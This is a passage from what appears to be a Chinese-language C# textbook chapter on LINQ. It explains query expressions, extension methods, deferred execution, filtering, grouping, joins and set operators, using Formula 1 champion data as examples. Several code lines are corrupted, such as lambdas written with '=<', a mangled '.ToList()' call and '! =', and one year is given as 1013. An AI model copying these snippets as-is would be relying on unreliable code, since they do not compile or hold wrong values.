2008), new Team("BRM", 1962), new Team("Lotus", 1963, 1965, 1968, 1970, 1972, 1973, 1978), new Team("Brabham", 1966, 1967), new Team("Matra", 1969), new Team("Tyrrell", 1971), new Team("McLaren", 1974, 1984, 1985, 1988, 1989, 1990, 1991, 1998), new Team("Williams", 1980, 1981, 1986, 1987, 1992, 1993, 1994, 1996, 1997), new Team("Benetton", 1995), new Team("Renault", 2005, 2006), new Team("Brawn GP", 2009), new Team("Red Bull Racing", 2010, 2011, 2012, 1013), new Team("Mercedes", 2014, 2015) }; } return _teams; } 13.1.2 LINQ查询 使用这些准备好的列表和实体,进行LINQ查询,例如,查询出来自巴西的所有世界 冠军,并按照夺冠次数排序。为此可以使用List<T>类的方法,如FindAll()和Sort() 方法。而使用LINQ的语法非常简单(代码文件LINQIntro/Program.cs): private static void LinqQuery() { var query = from r in Formula1.GetChampions() where r.Country == "Brazil" orderby r.Wins descending select r; foreach (Racer r in query) { WriteLine($"{r:A}"); } } 这个查询的结果显示了来自巴西的所有世界冠军,并排好序: Ayrton Senna, Brazil; starts: 161, wins: 41 Nelson Piquet, Brazil; starts: 204, wins: 23 Emerson Fittipaldi, Brazil; starts: 143, wins: 14 表达式 from r in Formula1.GetChampions() where r.Country == "Brazil" orderby r.Wins descending select r; 是一个LINQ查询。子句from、where、orderby、descending和select都是这个查询中预 定义的关键字。 查询表达式必须以from子句开头,以select或group子句结束。在这两个子句之间,可 以使用where、orderby、join、let和其他from子句。  注意: 变量query只指定了LINQ查询。该查询不是通过这个赋值语句执行 的,只要使用foreach循环访问查询,该查询就会执行。 13.1.3 扩展方法 编译器会转换LINQ查询,以调用方法而不是LINQ查询。LINQ为IEnumerable<T>接 口提供了各种扩展方法,以便用户在实现了该接口的任意集合上使用LINQ查询。扩展方 法在静态类中声明,定义为一个静态方法,其中第一个参数定义了它扩展的类型。 扩展方法可以将方法写入最初没有提供该方法的类中。还可以把方法添加到实现某个 特定接口的任何类中,这样多个类就可以使用相同的实现代码。 例如,String类没有Foo()方法。String类是密封的,所以不能从这个类中继承。但 可以创建一个扩展方法,如下所示: public static class StringExtension { public static void Foo(this string s) { WriteLine($"Foo invoked for {s}"); } } Foo()方法扩展了String类,因为它的第一个参数定义为String类型。为了区分扩展 方法和一般的静态方法,扩展方法还需要对第一个参数使用this关键字。 现在就可以使用带string类型的Foo()方法了: string s = "Hello"; s.Foo(); 结果在控制台上显示“Foo invoked for Hello”,因为Hello是传递给Foo()方法的字符 串。 也许这看起来违反了面向对象的规则,因为给一个类型定义了新方法,但没有改变该 类型或派生自它的类型。但实际上并非如此。扩展方法不能访问它扩展的类型的私有成 员。调用扩展方法只是调用静态方法的一种新语法。对于字符串,可以用如下方式调用 Foo()方法,获得相同的结果: string s = "Hello"; StringExtension.Foo(s); 要调用静态方法,应在类名的后面加上方法名。扩展方法是调用静态方法的另一种方 式。不必提供定义了静态方法的类名,相反,编译器调用静态方法是因为它带的参数类 型。只需要导入包含该类的名称空间,就可以将Foo()扩展方法放在String类的作用域 中。 定义LINQ扩展方法的一个类是System.Linq名称空间中的Enumerable。只需要导入这 个名称空间,就可以打开这个类的扩展方法的作用域。下面列出了Where()扩展方法的 实现代码。Where()扩展方法的第一个参数包含了this关键字,其类型是 IEnumerable<T>。这样,Where()方法就可以用于实现IEnumerable<T>的每个类型。例 如,数组和List<T>类实现了IEnumerable<T>接口。第二个参数是一个Func<T, bool>委 托,它引用了一个返回布尔值、参数类型为T的方法。这个谓词在实现代码中调用,检查 IEnumerable<T>源中的项是否应放在目标集合中。如果委托引用了该方法,yield return语 句就将源中的项返回给目标。 public static IEnumerable<TSource> Where<TSource>( this IEnumerable<TSource> source, Func<TSource, bool> predicate) { foreach (TSource item in source) if (predicate(item)) yield return item; }  注意: 谓词是返回布尔值的方法。 因为Where()作为一个泛型方法实现,所以它可以用于包含在集合中的任意类型。 实现了IEnumerable<T>接口的任意集合都支持它。  注意: 这里的扩展方法在System.Core程序集的System.Linq名称空间中定义。 现在就可以使用Enumerable类中的扩展方法Where()、OrderByDescending()和 Select()。这些方法都返回IEnumerable<TSource>,所以可以使用前面的结果依次调用 这些方法。通过扩展方法的参数,使用定义了委托参数的实现代码的匿名方法(代码文件 LINQIntro/Program.cs)。 static void ExtensionMethods() { var champions = new List<Racer>(Formula1.GetChampions()); IEnumerable<Racer> brazilChampions = champions.Where(r =< r.Country == "Brazil"). OrderByDescending(r =< r.Wins). Select(r =< r); foreach (Racer r in brazilChampions) { WriteLine($"{r:A}"); } } 13.1.4 推迟查询的执行 在运行期间定义查询表达式时,查询就不会运行。查询会在迭代数据项时运行。 再看看扩展方法Where()。它使用yield return语句返回谓词为true的元素。因为使用 了yield return语句,所以编译器会创建一个枚举器,在访问枚举中的项后,就返回它们。 public static IEnumerable<T> Where<T>(this IEnumerable<T> source, Func<T, bool> predicate) { foreach (T item in source) { if (predicate(item)) { yield return item; } } } 这是一个非常有趣也非常重要的结果。在下面的例子中,创建了String元素的一个集 合,用名称填充它。接着定义一个查询,从集合中找出以字母J开头的所有名称。集合也 应是排好序的。在定义查询时,不会进行迭代。相反,迭代在foreach语句中进行,在其中 迭代所有的项。集合中只有一个元素Juan满足where表达式的要求,即以字母J开头。迭代 完成后,将Juan写入控制台。之后在集合中添加4个新名称,再次进行迭代。 var names = new List<string> { "Nino", "Alberto", "Juan", "Mike", "Phil" }; var namesWithJ = from n in names where n.StartsWith("J") orderby n select n; WriteLine("First iteration"); foreach (string name in namesWithJ) { WriteLine(name); } WriteLine(); names.Add("John"); names.Add("Jim"); names.Add("Jack"); names.Add("Denny"); WriteLine("Second iteration"); foreach (string name in namesWithJ) { WriteLine(name); } 因为迭代在查询定义时不会进行,而是在执行每个foreach语句时进行,所以可以看到 其中的变化,如应用程序的结果所示: First iteration Juan Second iteration Jack Jim John Juan 当然,还必须注意,每次在迭代中使用查询时,都会调用扩展方法。在大多数情况 下,这是非常有效的,因为我们可以检测出源数据中的变化。但是在一些情况下,这是不 可行的。调用扩展方法ToArray()、ToList()等可以改变这个操作。在示例中,ToList 遍历集合,返回一个实现了IList<string>的集合。之后对返回的列表遍历两次,在两次迭 代之间,数据源得到了新名称。 var names = new List<string> { "Nino", "Alberto", "Juan", "Mike", "Phil" }; var namesWithJ = (from n in names where n.StartsWith("J") orderby n select n).".ToList() ; " WriteLine("First iteration"); foreach (string name in namesWithJ) { WriteLine(name); } WriteLine(); names.Add("John"); names.Add("Jim"); names.Add("Jack"); names.Add("Denny"); WriteLine("Second iteration"); foreach (string name in namesWithJ) { WriteLine(name); } 在结果中可以看到,在两次迭代之间输出保持不变,但集合中的值改变了: First iteration Juan Second iteration Juan 13.2 标准的查询操作符 Where、OrderByDescending和Select只是LINQ定义的几个查询操作符。LINQ查询为 最常用的操作符定义了一个声明语法。还有许多查询操作符可用于Enumerable类。 表13-1列出了Enumerable类定义的标准查询操作符。 表13-1 标准查询操作符 说明 Where OfType<TResult> 筛选操作符定义了返回元素的条件。在Where查询操作符中 可以使用谓词,例如,lambda表达式定义的谓词,来返回布 尔值。OfType<TResult>根据类型筛选元素,只返回TResult 类型的元素 Select SelectMany 投射操作符用于把对象转换为另一个类型的新对象。Select 和SelectMany定义了根据选择器函数选择结果值的投射 OrderBy ThenBy OrderByDescending ThenByDescending Reverse 排序操作符改变所返回的元素的顺序。OrderBy按升序排 序,OrderByDescending按降序排序。如果第一次排序的结 果很类似,就可以使用ThenBy和ThenBy Descending操作符 进行第二次排序。Reverse反转集合中元素的顺序 Join GroupJoin 连接操作符用于合并不直接相关的集合。使用Join操作符, 可以根据键选择器函数连接两个集合,这类似于SQL中的 JOIN。GroupJoin操作符连接两个集合,组合其结果 GroupBy ToLookup 组合操作符把数据放在组中。GroupBy操作符组合有公共键 的元素。ToLookup通过创建一个一对多字典,来组合元素 Any All Contains 如果元素序列满足指定的条件,限定符操作符就返回布尔 值。Any、All和Contains都是限定符操作符。Any确定集合 中是否有满足谓词函数的元素;All确定集合中的所有元素 是否都满足谓词函数;Contains检查某个元素是否在集合中 Take Skip TakeWhile SkipWhile 分区操作符返回集合的一个子集。Take、Skip、TakeWhile 和SkipWhile都是分区操作符。使用它们可以得到部分结 果。使用Take必须指定要从集合中提取的元素个数;Skip跳 过指定的元素个数,提取其他元素;TakeWhile提取条件为 真的元素,SkipWhile跳过条件为真的元素 Distinct Union Intersect Except Zip Set操作符返回一个集合。Distinct从集合中删除重复的元 素。除了Distinct之外,其他Set操作符都需要两个集合。 Union返回出现在其中一个集合中的唯一元素。Intersect返回 两个集合中都有的元素。Except返回只出现在一个集合中的 元素。Zip把两个集合合并为一个 First FirstOrDefault Last LastOrDefault ElementAt ElementAtOrDefault Single SingleOrDefault 这些元素操作符仅返回一个元素。First返回第一个满足条件 的元素。FirstOrDefault类似于First,但如果没有找到满足条 件的元素,就返回类型的默认值。Last返回最后一个满足条 件的元素。ElementAt指定了要返回的元素的位置。Single只 返回一个满足条件的元素。如果有多个元素都满足条件,就 抛出一个异常。所有的XXOrDefault方法都类似于以相同前 缀开头的方法,但如果没有找到该元素,它们就返回类型的 默认值 Count Sum Min Max Average Aggregate 聚合操作符计算集合的一个值。利用这些聚合操作符,可以 计算所有值的总和、所有元素的个数、值最大和最小的元 素,以及平均值等 ToArray AsEnumerable ToList ToDictionary Cast<TResult> 这些转换操作符将集合转换为数组:IEnumerable、IList、 IDictionary等。Cast方法把集合的每个元素类型转换为泛型 参数类型 Empty Range Repeat 这些生成操作符返回一个新集合。使用Empty时集合是空 的;Range返回一系列数字;Repeat返回一个始终重复一个 值的集合 下面是使用这些操作符的一些例子。 13.2.1 筛选 下面介绍一些查询的示例。 使用where子句,可以合并多个表达式。例如,找出赢得至少15场比赛的巴西和奥地 利赛车手。传递给where子句的表达式的结果类型应是布尔类型: var racers = from r in Formula1.GetChampions() where r.Wins > 15 && (r.Country == "Brazil" || r.Country == "Austria") select r; foreach (var r in racers) { WriteLine($"{r:A}"); } 用这个LINQ查询启动程序,会返回Niki Lauda、Nelson Piquet和Ayrton Senna,如 下: Niki Lauda, Austria, Starts: 173, Wins: 25 Nelson Piquet, Brazil, Starts: 204, Wins: 23 Ayrton Senna, Brazil, Starts: 161, Wins: 41 并不是所有的查询都可以用LINQ查询语法完成。也不是所有的扩展方法都映射到 LINQ查询子句上。高级查询需要使用扩展方法。为了更好地理解带扩展方法的复杂查 询,最好看看简单的查询是如何映射的。使用扩展方法Where()和Select(),会生成 与前面LINQ查询非常类似的结果: var racers = Formula1.GetChampions(). Where(r => r.Wins > 15 && (r.Country == "Brazil" || r.Country == "Austria")). Select(r => r); 13.2.2 用索引筛选 不能使用LINQ查询的一个例子是Where()方法的重载。在Where()方法的重载 中,可以传递第二个参数——索引。索引是筛选器返回的每个结果的计数器。可以在表达 式中使用这个索引,执行基于索引的计算。下面的代码由Where()扩展方法调用,它使 用索引返回姓氏以A开头、索引为偶数的赛车手(代码文件 EnumerableSample/Program.cs): var racers = Formula1.GetChampions(). Where((r, index) => r.LastName.StartsWith("A") && index % 2 ! = 0); foreach (var r in racers) { WriteLine($"{r:A}"); } 姓氏以A开头的所有赛车手有Alberto Ascari、Mario Andretti和Fernando Alonso。因为 Mario Andretti的索引是奇数,所以他不在结果中: Alberto Ascari, Italy; starts: 32, wins: 10 Fernando Alonso, Spain; starts: 252, wins: 32 13.2.3 类型筛选 为了进行基于类型的筛选,可以使用OfType()扩展方法。这里数组数据包含string 和int对象。使用OfType()扩展方法,把string类传送给泛型参数,就从集合中仅返回字 符串(代码文件EnumerableSample/Program.cs): object[] data = { "one", 2, 3, "four", "five", 6 }; var query = data.OfType<string>(); foreach (var s in query) { WriteLine(s); } 运行这段代码,就会显示字符串one、four和five。 one four five 13.2.4 复合的from子句 如果需要根据对象的一个成员进行筛选,而该成员本身是一个系列,就可以使用复合 的from子句。Racer类定义了一个属性Cars,其中Cars是一个字符串数组。要筛选驾驶法拉 利的所有冠军,可以使用如下所示的LINQ查询。第一个from子句访问从Formula1.Get Champions()方法返回的Racer对象,第二个from子句访问Racer类的Cars属性,以返回所 有string类型的赛车。接着在where子句中使用这些赛车筛选驾驶法拉利的所有冠军(代码 文件EnumerableSample/Program.cs)。 var ferrariDrivers = from r in Formula1.GetChampions() from c in r.Cars where c == "Ferrari" orderby r.LastName select r.FirstName + " " + r.LastName; 这个查询的结果显示了驾驶法拉利的所有一级方程式冠军: Alberto Ascari Juan Manuel Fangio Mike Hawthorn Phil Hill Niki Lauda Kimi Räikkönen Jody Scheckter Michael Schumacher John Surtees C#编译器把复合的from子句和LINQ查询转换为SelectMany()扩展方法。 SelectMany()方法可用于迭代序列的序列。示例中SelectMany()方法的重载版本如下 所示: public static IEnumerable<TResult> SelectMany<TSource, TCollection, TResult> ( this IEnumerable<TSource> source, Func<TSource, IEnumerable<TCollection>> collectionSelector, Func<TSource, TCollection, TResult> resultSelector); 第一个参数是隐式参数,它从GetChampions()方法中接收Racer对象序列。第二个 参数是collectionSelector委托,其中定义了内部序列。在lambda表达式r => r.Cars中,应返 回赛车集合。第三个参数是一个委托,现在为每个赛车调用该委托,接收Racer和Car对 象。lambda表达式创建了一个匿名类型,它有Racer和Car属性。这个SelectMany()方法 的结果是摊平了赛车手和赛车的层次结构,为每辆赛车返回匿名类型的一个新对象集合。 这个新集合传递给Where()方法,筛选出驾驶法拉利的赛车手。最后,调用 OrderBy()和Select()方法: var ferrariDrivers = Formula1.GetChampions() .SelectMany(r => r.Cars, (r, c) => new { Racer = r, Car = c }) .Where(r => r.Car == "Ferrari") .OrderBy(r => r.Racer.LastName) .Select(r => r.Racer.FirstName + " " + r.Racer.LastName); 把SelectMany()泛型方法解析为这里使用的类型,所解析的类型如下所示。在这个 例子中,数据源是Racer类型,所筛选的集合是一个string数组,当然所返回的匿名类型的 名称是未知的,这里显示为TResult: public static IEnumerable<TResult> SelectMany<Racer, string, TResult> ( this IEnumerable<Racer> source, Func<Racer, IEnumerable<string>> collectionSelector, Func<Racer, string, TResult> resultSelector); 因为查询仅从LINQ查询转换为扩展方法,所以结果与前面的相同。 13.2.5 排序 要对序列排序,前面使用了orderby子句。下面复习一下前面使用的例子,但这里使 用orderby descending子句。其中赛车手按照赢得比赛的次数进行降序排序,赢得比赛的次 数用关键字选择器指定(代码文件EnumerableSample/Program.cs): var racers = from r in Formula1.GetChampions() where r.Country == "Brazil" orderby r.Wins descending select r; orderby子句解析为OrderBy()方法,orderby descending子句解析为 OrderByDescending()方法: var racers = Formula1.GetChampions() .Where(r => r.Country == "Brazil") .OrderByDescending(r => r.Wins) .Select(r => r); OrderBy()和OrderByDescending()方法返回IOrderEnumerable<TSource>。这个接 口派生自IEnumerable<TSource>接口,但包含一个额外的方法 CreateOrderedEnumerable<TSource>()。这个方法用于进一步给序列排序。如果根据关 键字选择器来排序,其中有两项相同,就可以使用ThenBy()和ThenByDescending () 方法继续排序。这两个方法需要IOrderEnumerable<TSource>接口才能工作,但也返回这 个接口。所以,可以添加任意多个ThenBy()和ThenByDescending()方法,对集合排 序。 使用LINQ查询时,只需要把所有用于排序的不同关键字(用逗号分隔开)添加到 orderby子句中。在下例中,所有的赛车手先按照国家排序,再按照姓氏排序,最后按照 名字排序。添加到LINQ查询结果中的Take()扩展方法用于返回前10个结果: var racers = (from r in Formula1.GetChampions() orderby r.Country, r.LastName, r.FirstName select r).Take(10); 排序后的结果如下: Argentina: Fangio, Juan Manuel Australia: Brabham, Jack Australia: Jones, Alan Austria: Lauda, Niki Austria: Rindt, Jochen Brazil: Fittipaldi, Emerson Brazil: Piquet, Nelson Brazil: Senna, Ayrton Canada: Villeneuve, Jacques Finland: Hakkinen, Mika 使用OrderBy()和ThenBy()扩展方法可以执行相同的操作: var racers = Formula1.GetChampions() .OrderBy(r => r.Country) .ThenBy(r => r.LastName) .ThenBy(r => r.FirstName) .Take(10); 13.2.6 分组 要根据一个关键字值对查询结果分组,可以使用group子句。现在一级方程式冠军应 按照国家分组,并列出一个国家的冠军数。子句group r by r.Country into g根据Country属 性组合所有的赛车手,并定义一个新的标识符g,它以后用于访问分组的结果信息。group 子句的结果根据应用到分组结果上的扩展方法Count()来排序,如果冠军数相同,就根 据关键字来排序,该关键字是国家,因为这是分组所使用的关键字。where子句根据至少 有两项的分组来筛选结果,select子句创建一个带Country和Count属性的匿名类型(代码文 件EnumerableSample/Program.cs)。 var countries = from r in Formula1.GetChampions() group r by r.Country into g orderby g.Count() descending, g.Key where g.Count() >= 2 select new { Country = g.Key, Count = g.Count() }; foreach (var item in countries) { WriteLine($"{item.Country, -10} {item.Count}"); } 结果显示了带Country和Count属性的对象集合: UK 10 Brazil 3 Finland 3 Australia 2 Austria 2 Germany 2 Italy 2 USA 2 要用扩展方法执行相同的操作,应把groupby子句解析为GroupBy()方法。在 GroupBy()方法的声明中,注意它返回实现了IGrouping接口的枚举对象。IGrouping接 口定义了Key属性,所以在定义了对这个方法的调用后,可以访问分组的关键字: public static IEnumerable<IGrouping<TKey, TSource>> GroupBy<TSource, TKey>( this IEnumerable<TSource> source, Func<TSource, TKey> keySelector); 把子句group r by r.Country into g解析为GroupBy(r => r.Country),返回分组序列。 分组序列首先用OrderByDescending()方法排序,再用ThenBy()方法排序。接着调用 Where()和Select()方法。 var countries = Formula1.GetChampions() .GroupBy(r => r.Country) .OrderByDescending(g => g.Count()) .ThenBy(g => g.Key) .Where(g => g.Count() >= 2) .Select(g => new { Country = g.Key, Count = g.Count() }); 13.2.7 LINQ查询中的变量 在为分组编写的LINQ查询中,Count方法调用了多次。使用let子句可以改变这种方 式。let允许在LINQ查询中定义变量: var countries = from r in Formula1.GetChampions() group r by r.Country into g let count = g.Count() orderby count descending, g.Key where count >= 2 select new { Country = g.Key, Count = count }; 使用方法语法,Count方法也调用了多次。为了定义传递给下一个方法的额外数据 (let子句执行的操作),可以使用Select方法来创建匿名类型。这里创建了一个带Group和 Count属性的匿名类型。带有这些属性的一组项传递给OrderByDescending方法,基于匿名 类型Count的属性排序: var countries = Formula1.GetChampions() .GroupBy(r => r.Country) .Select(g => new { Group = g, Count = g.Count() }) .OrderByDescending(g => g.Count) .ThenBy(g => g.Group.Key) .Where(g => g.Count >= 2) .Select(g => new { Country = g.Group.Key, Count = g.Count }); 应考虑根据let子句或Select方法创建的临时对象的数量。查询大列表时,创建的大量 对象需要以后进行垃圾收集,这可能对性能产生巨大影响。 13.2.8 对嵌套的对象分组 如果分组的对象应包含嵌套的序列,就可以改变select子句创建的匿名类型。在下面 的例子中,所返回的国家不仅应包含国家名和赛车手数量这两个属性,还应包含赛车手的 名序列。这个序列用一个赋予Racers属性的from/in内部子句指定,内部的from子句使用分 组标识符g获得该分组中的所有赛车手,用姓氏对它们排序,再根据姓名创建一个新字符 串(代码文件EnumerableSample/Program.cs): var countries = from r in Formula1.GetChampions() group r by r.Country into g let count = g.Count() orderby count descending, g.Key where count >= 2 select new { Country = g.Key, Count = count, Racers = from r1 in g orderby r1.LastName select r1.FirstName + " " + r1.LastName }; foreach (var item in countries) { WriteLine($"{item.Country, -10} {item.Count}"); foreach (var name in item.Racers) { Write($"{name}; "); } WriteLine(); } 结果应列出某个国家的所有冠军: UK 10 Jenson Button; Jim Clark; Lewis Hamilton; Mike Hawthorn; Graham Hill; Damon Hill; James Hunt; Nigel Mansell; Jackie Stewart; John Surtees; Brazil 3 Emerson Fittipaldi; Nelson Piquet; Ayrton Senna; Finland 3 Mika Hakkinen; Kimi Raikkonen; Keke Rosberg; Australia 2 Jack Brabham; Alan Jones; Austria 2 Niki Lauda; Jochen Rindt; Germany 2 Michael Schumacher; Sebastian Vettel; Italy 2 Alberto Ascari; Nino Farina; USA 2 Mario Andretti; Phil Hill; 13.2.9 内连接 使用join子句可以根据特定的条件合并两个数据源,但之前要获得两个要连接的列 表。在一级方程式比赛中,有赛车手冠军和车队冠军。赛车手从GetChampions()方法中 返回,车队从GetConstructorChampions()方法中返回。现在要获得一个年份列表,列出 每年的赛车手冠军和车队冠军。 为此,先定义两个查询,用于查询赛车手和车队(代码文件 EnumerableSample/Program.cs): var racers = from r in Formula1.GetChampions() from y in r.Years select new { Year = y, Name = r.FirstName + " " + r.LastName }; var teams = from t in Formula1.GetContructorChampions() from y in t.Years select new { Year = y, Name = t.Name }; 有了这两个查询,再通过join子句,根据赛车手获得冠军的年份和车队获得冠军的年 份进行连接。select子句定义了一个新的匿名类型,它包含Year、Racer和Team属性。 var racersAndTeams = (from r in racers join t in teams on r.Year equals t.Year select new { r.Year, Champion = r.Name, Constructor = t.Name }).Take(10); WriteLine("Year World Champion\t Constructor Title"); foreach (var item in racersAndTeams) { WriteLine($"{item.Year}: {item.Champion, -20} {item.Constructor}"); } 当然,也可以把它们合并为一个LINQ查询,但这只是一种个人喜好的问题: var racersAndTeams = (from r in from r1 in Formula1.GetChampions() from yr in r1.Years select new { Year = yr, Name = r1.FirstName + " " + r1.LastName } join t in from t1 in Formula1.GetContructorChampions() from yt in t1.Years select new { Year = yt, Name = t1.Name } on r.Year equals t.Year orderby t.Year select new { Year = r.Year, Racer = r.Name, Team = t.Name }).Take(10); 结果显示了在同时有了赛车手冠军和车队冠军的前10年中,匿名类型中的数据: Year World Champion Constructor Title 1958: Mike Hawthorn Vanwall 1959: Jack Brabham Cooper 1960: Jack Brabham Cooper 1961: Phil Hill Ferrari 1962: Graham Hill BRM 1963: Jim Clark Lotus 1964: John Surtees Ferrari 1965: Jim Clark Lotus 1966: Jack Brabham Brabham 1967: Denny Hulme Brabham 13.2.10 左外连接 上一个连接示例的输出从1958年开始,因为从这一年开始,才同时有了赛车手冠军和 车队冠军。赛车手冠军出现得更早一些,是在1950年。使用内连接时,只有找到了匹配的 记录才返回结果。为了在结果中包含所有的年份,可以使用左外连接。左外连接返回左边 序列中的全部元素,即使它们在右边的序列中并没有匹配的元素。 下面修改前面的LINQ查询,使用左外连接。左外连接用join子句和DefaultIfEmpty方 法定义。如果查询的左侧(赛车手)没有匹配的车队冠军,那么就使用DefaultIfEmpty方 法定义其右侧的默认值(代码文件EnumerableSample/Program.cs): var racersAndTeams = (from r in racers join t in teams on r.Year equals t.Year into rt from t in rt.DefaultIfEmpty() orderby r.Year select new { Year = r.Year, Champion = r.Name, Constructor = t == null ? "no constructor championship" : t.Name }).Take(10); 用这个查询运行应用程序,得到的输出将从1950年开始,如下所示: Year Champion Constructor Title 1950: Nino Farina no constructor championship 1951: Juan Manuel Fangio no constructor championship 1952: Alberto Ascari no constructor championship 1953: Alberto Ascari no constructor championship 1954: Juan Manuel Fangio no constructor championship 1955: Juan Manuel Fangio no constructor championship 1956: Juan Manuel Fangio no constructor championship 1957: Juan Manuel Fangio no constructor championship 1958: Mike Hawthorn Vanwall 1959: Jack Brabham Cooper 13.2.11 组连接 左外连接使用了组连接和into子句。它有一部分语法与组连接相同,只不过组连接不 使用DefaultIfEmpty方法。 使用组连接时,可以连接两个独立的序列,对于其中一个序列中的某个元素,另一个 序列中存在对应的一个项列表。 下面的示例使用了两个独立的序列。一个是前面例子中已经看过的冠军列表。另一个 是一个Championship类型的集合。下面的代码段显示了Championship类型。该类包含冠军 年份以及该年份中获得第一名、第二名和第三名的赛车手,对应的属性分别为Year、 First、Second和Third(代码文件DataLib/Championship.cs): public class Championship { public int Year { get; set; } public string First { get; set; } public string Second { get; set; } public string Third { get; set; } } GetChampionships方法返回了冠军集合,如下面的代码段所示(代码文件 DataLib/Formula1.cs): private static List<Championship> championships; public static IEnumerable<Championship> GetChampionships() { if (championships == null) { championships = new List<Championship>(); championships.Add(new Championship { Year = 1950, First = "Nino Farina", Second = "Juan Manuel Fangio", Third = "Luigi Fagioli" }); championships.Add(new Championship { Year = 1951, First = "Juan Manuel Fangio", Second = "Alberto Ascari", Third = "Froilan Gonzalez" }); //… 冠军列表应与每个冠军年份中获得前三名的赛车手构成的列表组合起来,然后显示每 一年的结果。 RacerInfo类定义了要显示的信息,如下所示(代码文件 EnumerableSample/RacerInfo.cs): public class RacerInfo { public int Year { get; set; } public int Position { get; set; } public string FirstName { get; set; } public string LastName { get; set; } } 使用连接语句可以把两个列表中的赛车手组合起来。 因为冠军列表中的每一项都包含3个赛车手,所以首先需要把这个列表摊平。一种方 法是使用SelectMany方法。该方法使用的lambda表达式为冠军列表中的每一项返回包含3 项的一个列表。在这个lambda表达式的实现中,因为RacerInfo包含FirstName和LastName 属性,而收到的集合只包含带有First、Second和Third属性的一个名称,所以必须拆分字符 串。这可以通过扩展方法FirstName和LastName完成(代码文件 EnumerableSample/Program.cs): var racers = Formula1.GetChampionships() .SelectMany (cs => new List<RacerInfo>() { new RacerInfo { Year = cs.Year, Position = 1, FirstName = cs.First.FirstName(), LastName = cs.First.LastName() }, new RacerInfo { Year = cs.Year, Position = 2, FirstName = cs.Second.FirstName(), LastName = cs.Second.LastName() }, new RacerInfo { Year = cs.Year, Position = 3, FirstName = cs.Third.FirstName(), LastName = cs.Third.LastName() } }); 扩展方法FirstName和LastName使用空格字符拆分字符串: public static class StringExtension { public static string FirstName(this string name) { int ix = name.LastIndexOf(' '); return name.Substring(0, ix); } public static string LastName(this string name) { int ix = name.LastIndexOf(' '); return name.Substring(ix + 1); } } 现在就可以连接两个序列。Formula1.GetChampions返回一个Racers列表,racers变量 返回包含年份、比赛结果和赛车手姓名的一个RacerInfo列表。仅使用姓氏比较两个集合中 的项是不够的。有时候列表中可能同时包含了一个赛车手和他的父亲(如Damon Hill和 Graham Hill),所以必须同时使用FirstName和LastName进行比较。这是通过为两个列表 创建一个新的匿名类型实现的。通过使用into子句,第二个集合中的结果被添加到了变量 yearResults中。对于第一个集合中的每一个赛车手,都创建了一个yearResults,它包含了 在第二个集合中匹配名和姓的结果。最后,用LINQ查询创建了一个包含所需信息的新匿 名类型: var q = (from r in Formula1.GetChampions() join r2 in racers on new { FirstName = r.FirstName, LastName = r.LastName } equals new { FirstName = r2.FirstName, LastName = r2.LastName } into yearResults select new { FirstName = r.FirstName, LastName = r.LastName, Wins = r.Wins, Starts = r.Starts, Results = yearResults }); foreach (var r in q) { WriteLine($"{r.FirstName} {r.LastName}"); foreach (var results in r.Results) { WriteLine($"{results.Year} {results.Position}."); } } 下面显示了foreach循环得到的最终结果。Lewis Hamilton 3次进入前三:2007年是第 二名,2008年和2014年则是冠军。Jenson Button 3次进入前三:2004年、2009年和2011 年。Sebastian Vettel 4次夺得冠军,并且是2009年的第二名: Lewis Hamilton 2007 2. 2008 1. 2014 1. Jenson Button 2004 3. 2009 1. 2011 2. Sebastian Vettel 2009 2. 2010 1. 2011 1. 2012 1. 2013 1. 13.2.12 集合操作 扩展方法Distinct()、Union()、Intersect()和Except()都是集合操作。下面创 建一个驾驶法拉利的一级方程式冠军序列和驾驶迈凯伦的一级方程式冠军序列,然后确定 是否有驾驶法拉利和迈凯伦的冠军。当然,这里可以使用Intersect()扩展方法。 首先获得所有驾驶法拉利的冠军。这只是一个简单的LINQ查询,其中使用复合的 from子句访问Cars属性,该属性返回一个字符串对象序列(代码文件 EnumerableSample/Program.cs)。 var ferrariDrivers = from r in Formula1.GetChampions() from c in r.Cars where c == "Ferrari" orderby r.LastName select r; 现在建立另一个基本相同的查询,但where子句的参数不同,以获得所有驾驶迈凯伦 的冠军。最好不要再次编写相同的查询。而可以创建一个方法,给它传递参数car: private static IEnumerable<Racer> GetRacersByCar(string car) { return from r in Formula1.GetChampions() from c in r.Cars where c == car orderby r.LastName select r; } 但是,因为该方法不需要在其他地方使用,所以应定义一个委托类型的变量来保存 LINQ查询。racersByCar变量必须是一个委托类型,该委托类型需要一个字符串参数,并 返回IEnumerable<Racer>,类似于前面实现的方法。为此,定义了几个泛型委托Func< >, 所以不需要声明自己的委托。把一个lambda表达式赋予racersByCar变量。lambda表达式的 左边定义了一个car变量,其类型是Func委托的第一个泛型参数(字符串)。右边定义了 LINQ查询,它使用该参数和where子句: Func<string, IEnumerable<Racer>> racersByCar = car => from r in Formula1.GetChampions() from c in r.Cars where c == car orderby r.LastName select r; 现在可以使用Intersect()扩展方法,获得驾驶法拉利和迈凯伦的所有冠军: WriteLine("World champion with Ferrari and McLaren"); foreach (var racer in racersByCar("Ferrari").Intersect(racersByCar("McLaren") )) { WriteLine(racer); } 结果只有一个赛车手Niki Lauda: World champion with Ferrari and McLaren Niki Lauda  注意: 集合操作通过调用实体类的GetHashCode()和Equals()方法来比 较对象。对于自定义比较,还可以传递一个实现了IEqualityComparer<T>接口的对象。 在这里的示例中,GetChampions()方法总是返回相同的对象,因此默认的比较操作 是有效的。如果不是这种情况,就可以重载集合方法来自定义比较操作。 13.2.13 合并 Zip()方法允许用一个谓词函数把两个相关的序列合并为一个。 首先,创建两个相关的序列,它们使用相同的筛选(国家意大利)和排序方法。对于 合并,这很重要,因为第一个集合中的第一项会与第二个集合中的第一项合并,第一个集 合中的第二项会与第二个集合中的第二项合并,依此类推。如果两个序列的项数不同, Zip()方法就在到达较小集合的末尾时停止。 第一个集合中的元素有一个Name属性,第二个集合中的元素有LastName和Starts两个 属性。 在racerNames集合上使用Zip()方法,需要把第二个集合(racerNamesAndStarts)作 为第一个参数。第二个参数的类型是Func<TFirst, TSecond, TResult>。这个参数实现为一 个lambda表达式,它通过参数first接收第一个集合的元素,通过参数second接收第二个集 合的元素。其实现代码创建并返回一个字符串,该字符串包含第一个集合中元素的Name 属性和第二个集合中元素的Starts属性(代码文件EnumerableSample/Program.cs): var racerNames = from r in Formula1.GetChampions() where r.Country == "Italy" orderby r.Wins descending select new { Name = r.FirstName + " " + r.LastName }; var racerNamesAndStarts = from r in Formula1.GetChampions() where r.Country == "Italy" orderby r.Wins descending select new { LastName = r.LastName, Starts = r.Starts }; var racers = racerNames.Zip(racerNamesAndStarts, (first, second) => first.Name + ", starts: " + second.Starts); foreach 